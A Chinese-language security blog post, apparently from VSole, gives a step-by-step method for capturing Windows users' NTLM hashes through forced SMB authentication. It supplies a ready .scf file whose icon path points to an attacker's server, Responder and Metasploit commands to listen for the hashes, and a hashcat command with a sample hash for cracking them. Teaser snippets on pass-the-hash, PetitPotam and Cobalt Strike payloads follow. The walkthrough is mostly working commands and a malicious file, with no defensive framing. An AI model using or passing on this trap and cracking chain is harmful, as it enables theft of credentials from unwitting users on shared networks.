利用强制smb身份验证获取用户哈希

VSole2021-11-07 05:47:54

前言

攻击者可通过向共享目录投递连接外部服务器的资源文件,用户请求过程中尝试身份验证,会默认使用SMB协议将用户哈希发送到服务器,这样攻击者就会获取对方用户账户哈希。

创建共享目录scf文件

[Shell]
Command=2
IconFile=\\X.X.X.X\share\1.ico
[Taskbar]
Command=ToggleDesktop

重命名后缀为.scf,保存在共享目录

使用responder接收哈希

使用responder开启监听

git clone https://github.com/lgandx/Responder.git
python Responder.py -wrf --lm -v -I eth0

使用任一用户访问刚才建立好的共享目录,只要进入到保存有.scf这一文件的层级就会触发smb身份验证,responder会监听到NTLMv2哈希

使用msf模块接收哈希

use auxiliary/server/capture/smb
run

使用hashcat配合字典来破解

hashcat -m 5600 Administrator::NEXT:b36ff0a87f24a5b2:59D4E07C55717C42B167E2FF178C0B83:01010000000000005D83AE7CFE67D701B33B25F625134A1E00000000020000000000000000000000 /root/pass.txt --force

smb哈希
本作品采用《CC 协议》,转载必须注明作者和本文链接
哈希传递利用了NTLM认证的缺陷,使用用户的密码哈希值来进行NTLM认证。推荐使用以下命令,尽量不要从内存中提取,因为内存中存放的可能是管理员修改密码前的哈希值,导致哈希传递不成功。
Pass The Hash 即哈希传递攻击,简称 PTH
分析Cobalt Strike Payload
2021-12-11 06:49:22
原始Payload Cobalt Strike 的Payload基于 Meterpreter shellcode,例如 API 哈希(x86和x64版本)或http/https Payload中使用的url checksum8 算法等等。 x86 默认的 32 位原始负载的入口点以典型指令开始,CLD (0xFC),然后是CALL指令,并PUSHA (0x60)作为 API 哈希算法的第一条
攻击者可通过向共享目录投递连接外部服务器的资源文件,用户请求过程中尝试身份验证,会默认使用SMB协议将用户哈希发送到服务器,这样攻击者就会获取对方用户账户哈希
哈希传递对于大多数企业或组织来说仍然是一个非常棘手的问题,这种攻击手法经常被渗透测试人员和攻击者们使用。当谈及检测哈希传递攻击时,我首先开始研究的是先看看是否已经有其他人公布了一些通过网络来进行检测的可靠方法。我拜读了一些优秀的文章,但我没有发现可靠的方法,或者是这些方法产生了大量的误报。 我不会在本文深入剖析哈希传递的历史和工作原理,但如果你有兴趣,你可以阅读SANS发布的这篇优秀的文章——哈希
微软宣布,为了提高Windows的安全性,此后在Windows 11 Insider Preview Build 25381企业版中,默认所有连接都需要SMB签名。SMB签名可以确保每条消息都包含使用会话密钥和密码套件生成的签名。微软官网上说,所有版本的Windows和Windows Server都支持SMB签名,但第三方可能会对它禁用或不支持。不支持签名的SMB设备允许恶意方进行拦截和中继攻击。
一名研究人员在 Windows 操作系统中发现了一个漏洞,跟踪为 PetitPotam,可利用该漏洞强制远程 Windows 机器共享其密码哈希
俄罗斯黑客利用 Outlook 漏洞窃取 NTLM 哈希。微软解释称,攻击者可以通过发送一个精心构造的消息来利用该漏洞来获取 NTLM 哈希值。到远程 SMB 服务器的连接发送用户 NTLM 协商消息,然后攻击者就可以中继该消息来实现对支持 NTLM 认证的其他系统的认证。但邮件发送者并不应该能够配置接收者系统的消息提醒音乐。
0x01 前言之前在打一个域环境的时候出现了域内主机不出网的情况,当时用的是cs的socks代理将不出网主机的流量代理到了边缘主机上。当时没有考虑太多,下来之后想到搭一个环境复现一下当时的情况,看有没有更简便的方法能够打下不出网的主机
VSole
网络安全专家